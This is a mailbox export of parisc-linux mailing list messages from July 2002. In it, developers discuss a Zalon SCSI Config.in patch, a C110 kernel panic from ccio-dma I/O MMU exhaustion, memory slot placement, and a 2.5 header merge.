List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15581

* Matthew Wilcox <willy@debian.org> [020719 14:03]:
> On Fri, Jul 19, 2002 at 01:49:20PM +0200, Stefan Pfetzing wrote:
> > I just installed Debian/hppa on my HP Visualize C200.
> > After I've compiled a kernel for 64bit and tried to use cdrecord it crashed
> 
Well I've *read* the FAQ.

I've also activated that option, and YES I know it has no advantage.
I simply wanted to test if it works and what works.

So i tried to write a cd under such a kernel and it didn't work. (and I
suggest on bigger machines which need a 64bit kernel it doesnt work too
maybe?).


bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux rhirst
Date: Fri, 19 Jul 2002 23:19:18 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <20020719221917.GF29996@sleepie.demon.co.uk>
References: <20020719225302.874944839@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621547 11253 80.91.229.3 (22 Nov 2014 01:59:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 17:21:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 816C6483F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 17:21:35 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 2079F9EE55; Fri, 19 Jul 2002 23:19:18 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020719225302.874944839@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15582

On Fri, Jul 19, 2002 at 04:53:02PM -0600, Richard Hirst wrote:
> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	rhirst	02/07/19 16:53:02
> 
> Modified files:
> 	.              : Makefile 
> 	drivers/scsi   : Config.in 
> 
> Log message:
> Fix scsi config options so Zalon can be used without PCI

This is a mess, btw.  Basic problem is Zalon, ncr53c8xx, and sym53c8xx
want to share a bunch of config options.  But zalon can run without
pci, the other two can't.  ncr and sym are not allowed if sym_2 is
compiled in, but zalon is, etc, etc.  Cleaner solutions are welcomed!

Richard


Index: drivers/scsi/Config.in
===================================================================
RCS file: /var/cvs/linux/drivers/scsi/Config.in,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -r1.18 -r1.19
--- drivers/scsi/Config.in	4 Jun 2002 18:53:29 -0000	1.18
+++ drivers/scsi/Config.in	19 Jul 2002 22:53:02 -0000	1.19
@@ -147,27 +147,46 @@
       bool '  use normal IO' CONFIG_SCSI_SYM53C8XX_IOMAPPED
    fi
 fi
+define_bool CONFIG_ASK_ZALON n
+define_bool CONFIG_ASK_NCR53C8XX n
+define_bool CONFIG_ASK_SYM53C8XX n
+if [ "$CONFIG_PARISC" = "y" ]; then
+   dep_tristate 'Zalon SCSI support' CONFIG_SCSI_ZALON $CONFIG_GSC $CONFIG_SCSI
+   if [ "$CONFIG_SCSI_ZALON" != "n" ]; then
+      define_bool CONFIG_ASK_ZALON y
+   fi
+else
+  if [ "$CONFIG_PCI" = "y" -a "$CONFIG_SCSI_SYM53C8XX_2" != "y" ]; then
+     dep_tristate 'NCR53C8XX SCSI support' CONFIG_SCSI_NCR53C8XX $CONFIG_SCSI
+     if [ "$CONFIG_SCSI_NCR53C8XX" != "n" ]; then
+        define_bool CONFIG_ASK_NCR53C8XX y
+     fi
+  fi
+fi
 if [ "$CONFIG_PCI" = "y" -a "$CONFIG_SCSI_SYM53C8XX_2" != "y" ]; then
-   dep_tristate 'NCR53C8XX SCSI support' CONFIG_SCSI_NCR53C8XX $CONFIG_SCSI
    dep_tristate 'SYM53C8XX SCSI support' CONFIG_SCSI_SYM53C8XX $CONFIG_SCSI
-   if [ "$CONFIG_PARISC" = "y" ]; then
-      dep_tristate 'Zalon SCSI support' CONFIG_SCSI_ZALON $CONFIG_GSC $CONFIG_SCSI
+   if [ "$CONFIG_SCSI_SYM53C8XX" != "n" ]; then
+      define_bool CONFIG_ASK_SYM53C8XX y
    fi
-   if [ "$CONFIG_SCSI_NCR53C8XX" != "n" -o "$CONFIG_SCSI_ZALON" != "n" -o "$CONFIG_SCSI_SYM53C8XX" != "n" ]; then
-      int  '  default tagged command queue depth' CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS 8
-      int  '  maximum number of queued commands' CONFIG_SCSI_NCR53C8XX_MAX_TAGS 32
-      int  '  synchronous transfers frequency in MHz' CONFIG_SCSI_NCR53C8XX_SYNC 20
-      bool '  enable profiling' CONFIG_SCSI_NCR53C8XX_PROFILE
+fi
+if [ "$CONFIG_ASK_ZALON" = "y" -o "$CONFIG_ASK_NCR53C8XX" = "y" -o "$CONFIG_ASK_SYM53C8XX" = "y" ]; then
+   int  '  default tagged command queue depth' CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS 8
+   int  '  maximum number of queued commands' CONFIG_SCSI_NCR53C8XX_MAX_TAGS 32
+   int  '  synchronous transfers frequency in MHz' CONFIG_SCSI_NCR53C8XX_SYNC 20
+   bool '  enable profiling' CONFIG_SCSI_NCR53C8XX_PROFILE
+   if [ "$CONFIG_ASK_ZALON" = "y" ]; then
+      define_bool CONFIG_SCSI_NCR53C8XX_IOMAPPED n
+   else
       bool '  use normal IO' CONFIG_SCSI_NCR53C8XX_IOMAPPED
-      if [ "$CONFIG_SCSI_SYM53C8XX" != "n" ]; then
-	 bool '  include support for the NCR PQS/PDS SCSI card' CONFIG_SCSI_NCR53C8XX_PQS_PDS
-      fi
-      if [ "$CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS" = "0" ]; then
-	 bool '  not allow targets to disconnect' CONFIG_SCSI_NCR53C8XX_NO_DISCONNECT
-      fi
-      if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
-	 bool '  assume boards are SYMBIOS compatible (EXPERIMENTAL)' CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT
-      fi
+   fi
+   if [ "$CONFIG_ASK_SYM53C8XX" = "y" ]; then
+      bool '  include support for the NCR PQS/PDS SCSI card' CONFIG_SCSI_NCR53C8XX_PQS_PDS
+   fi
+   if [ "$CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS" = "0" ]; then
+      bool '  not allow targets to disconnect' CONFIG_SCSI_NCR53C8XX_NO_DISCONNECT
+   fi
+   if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
+      bool '  assume boards are SYMBIOS compatible (EXPERIMENTAL)' CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT
    fi
 fi
 if [ "$CONFIG_MCA" = "y" ]; then


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: 19 Jul 2002 17:34:18 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <1027121658.16562.3.camel@beavis>
References: <3D383969.1657EF43@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621548 11255 80.91.229.3 (22 Nov 2014 01:59:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:08 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 19 17:34:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2CFD4841
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Jul 2002 17:34:19 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B9930BCBB; Fri, 19 Jul 2002 17:34:18 -0600 (MDT)
In-Reply-To: <3D383969.1657EF43@ruhr-west.de>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15583

Juergen,

How much memory does this system have?  Also what cards do you have in
which slot. (Please also specify PCI or GSC).

What this driver does is allocates a certian portion of memory at
startup time for a TLB mapping.  Adjusting the ccio_mem_ratio affects
how much memory is allocated at boot.  The U2/UTurn chip has 2 iommus,
and the different GSC/PCI slots fall under specific iommus.  If you
system does not have much memory, and the cards are positioned
approparately, we could turn off the iommu memory allocatation for the
second iommu (the /10 bus).

this is just a thought ... will see what we can do with your
configuration :)

Thanks,

-  Ryan


On Fri, 2002-07-19 at 10:08, Juergen Braukmann wrote:
> Hi Grant and all,
> 
> still more tears. I compiled and replaced the kernel, using 2.4.18pa55.
> I used the setting of ccio_mem_ratio=16, but still my kernel panics with 
> 
> Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> resources.
> In interrupt handler - not syncing
> 
> would there be more chance with the ccio_mem_ratio setting of 8? Is
> there a way to use more than one Kernel alternativly and select it at
> boottime with palo? Is there an example palo.conf somewhere?
> 
> I will shut down X next and try again. I managed to ftp a large file
> once and all I did after that was getting X to run.
> 
> Juergen
> 
> -- 
> ===========================================     __   _
> Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
> Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
> ===========================================_\_v __/_/_//_/\_,_/ /_/\_\
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sat, 20 Jul 2002 11:53:20 +0200
Organization: Power Penguin Club
Lines: 60
Approved: news@gmane.org
Message-ID: <3D393310.D3AB411A@ruhr-west.de>
References: <3D383969.1657EF43@ruhr-west.de> <1027121658.16562.3.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621548 11259 80.91.229.3 (22 Nov 2014 01:59:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:08 +0000 (UTC)
To: Ryan Bradetich <rbradetich@uswest.net>,
	parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 04:07:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFB12483A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 04:07:37 -0600 (MDT)
Original-Received: from fwd08.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 17Vr9B-0000Xj-01; Sat, 20 Jul 2002 12:07:33 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.22.25]) by fmrl08.sul.t-online.com
	with esmtp id 17Vr98-1GPxjMC; Sat, 20 Jul 2002 12:07:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6K9rVZ14843;
	Sat, 20 Jul 2002 11:53:31 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 14839-254E757E;
	Sat, 20 Jul 2002 11:53:20 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15584

Ryan Bradetich schrieb:
> 
> Juergen,
> 
> How much memory does this system have?  Also what cards do you have in
> which slot. (Please also specify PCI or GSC).
> 
> What this driver does is allocates a certian portion of memory at
> startup time for a TLB mapping.  Adjusting the ccio_mem_ratio affects
> how much memory is allocated at boot.  The U2/UTurn chip has 2 iommus,
> and the different GSC/PCI slots fall under specific iommus.  If you
> system does not have much memory, and the cards are positioned
> approparately, we could turn off the iommu memory allocatation for the
> second iommu (the /10 bus).
> 
> this is just a thought ... will see what we can do with your
> configuration :)
> 
> Thanks,
> 
> -  Ryan
> 

Hello Ryan,

I dreaded that question. ;-) This is a rescue-workststion that would
have been dumped otherwise. I have only 64 MB RAM. There are two modules
32 MB each, straigt in front of the ventilator (it used to be more, but
they took some 128 MB off). Is there some relevant placing of the
modules? In total, there are 8 memory slots. Processor in front, it is
J1-J2-J3-J4, space J5-J6-J7-J8. My modules are placed in slot 6 and 8.
(If you look at them from the other side, they are numbered 0A, 2A, 0B,
2B, space 1A, 3A, 1B, 3B. I use slots 0A and 0B, that should be fine)
I've seen that memory prices are to expensive to buy some more, since
this box is more a toy. (US$ 250 for 256MB)
Speaking about card slots, I don't know what PSC slots are, so I rather
describe things in my box:
mainbord plugs into some uprigt thing were other cards can plug in. From
the other side another board with SCSI Controler, RTC, I/O-stuff and
audio plugs in. (the "cmos" battery is there and so are the other
connectors on the back).
On the "upright thing" are 4 slots, that look like ISA/EISA and have
another connector in line with the EISA slot about 2" apart. (Suppose
that is meant with PSC. Reminds me a bit to the extension slot that VLB
had, thogh it is a different connector)
But only 3 slots are EISA, the fourth is only the "extension".
Slot 3 carries the video/framebuffer card. In the above terms it's PSC.
Apart from two ventilarors and plenty of dust that describes the content
of my box. The SCSI bus connects to my HP2490A disc, I disconnected the
two Ultra (or whatever) SCSI drive with HP-UX.
CD-ROM is both antique double speed and external.

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sat, 20 Jul 2002 12:21:54 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207201218410.21970-100000@r6.petescaff.com>
References: <3D393310.D3AB411A@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621548 11261 80.91.229.3 (22 Nov 2014 01:59:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:08 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 04:22:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABCA84845
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 04:22:06 -0600 (MDT)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.35 #1)
	id 17VrN4-0002ul-00; Sat, 20 Jul 2002 12:21:54 +0200
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <3D393310.D3AB411A@ruhr-west.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15585


On Sat, 20 Jul 2002, Juergen Braukmann wrote:

[snip]

> I dreaded that question. ;-) This is a rescue-workststion that would
> have been dumped otherwise. I have only 64 MB RAM. There are two modules
> 32 MB each, straigt in front of the ventilator (it used to be more, but
> they took some 128 MB off). Is there some relevant placing of the
> modules? In total, there are 8 memory slots. Processor in front, it is
> J1-J2-J3-J4, space J5-J6-J7-J8. My modules are placed in slot 6 and 8.
> (If you look at them from the other side, they are numbered 0A, 2A, 0B,
> 2B, space 1A, 3A, 1B, 3B. I use slots 0A and 0B, that should be fine)

Yes - this is the correct placing for memory - these systems should always
use equal-sized pairs of memory which should be placed (largest first)
starting in the lowest numbered slots.

[snip]

> Apart from two ventilarors and plenty of dust that describes the content
> of my box. The SCSI bus connects to my HP2490A disc, I disconnected the
> two Ultra (or whatever) SCSI drive with HP-UX.

The internal disks are fast-wide differential & the external SCSI ports
are FW-diff & single-ended. I don't know the 2490A.

R.
PeteM



From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] initial merge of 2.4 asm-parisc to 2.5 tree
Date: Sat, 20 Jul 2002 10:21:54 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020720092154.GG29996@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621548 11264 80.91.229.3 (22 Nov 2014 01:59:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 04:24:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D23C4855
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 04:24:15 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 7F1739EE55; Sat, 20 Jul 2002 10:21:54 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15586

I've done an initial merge of 2.4 asm-parisc to 2.5, I wont commit it in
case someone else is doing the same thing.  You can find a tarball at
ftp.p-l.o:src/asm-parisc-2.5.tgz

Basically, I looked at diffs bewteen 2.5.0 and 2.5.26, and between 2.5.26
and 2.5.26-pa0, then copied 2.4 over 2.5, then applied those diffs as I
thought appropriate.  Obviously still doesn't compile or anything, but
it should be a better.

I, or someone else, can apply that tarball if people agree.

Richard



From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Sat, 20 Jul 2002 13:27:30 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020720122730.GH29996@sleepie.demon.co.uk>
References: <3D2A9711.4030207@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621549 11266 80.91.229.3 (22 Nov 2014 01:59:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 07:29:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust123.bre.cable.ntl.com [213.107.179.123])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD8B2483C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Jul 2002 07:29:52 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 7FFDC9EE55; Sat, 20 Jul 2002 13:27:30 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <3D2A9711.4030207@itp.bg>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15587

On Tue, Jul 09, 2002 at 10:56:01AM +0300, Stephan Trajkoff wrote:
> Hi,
> why I need to enable PCI/EISA to make available option zalon driver in 
> SCSI drivers?

You don't need to any more.

Richard



From - Thu Nov 08 21:23:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110, kernel Panics, still more tears ;-(
Date: Sat, 20 Jul 2002 09:29:19 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20020720152919.9D690483D@dsl2.external.hp.com>
References: <3D383969.1657EF43@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621549 11269 80.91.229.3 (22 Nov 2014 01:59:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:09 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 20 09:29:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9D690483D; Sat, 20 Jul 2002 09:29:19 -0600 (MDT)
In-Reply-To: Message from Juergen Braukmann <juergen.braukmann@ruhr-west.de> 
   of "Fri, 19 Jul 2002 18:08:09 +0200." <3D383969.1657EF43@ruhr-west.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15588

Juergen Braukmann wrote:
> Hi Grant and all,
> 
> still more tears. I compiled and replaced the kernel, using 2.4.18pa55.
> I used the setting of ccio_mem_ratio=16, but still my kernel panics with 
> Kernel panic: ccio-dma.c ccio_alloc_range() I/O MMU is out of mapping
> resources.
> In interrupt handler - not syncing

Sorry - my bad - I think I have it backwards.
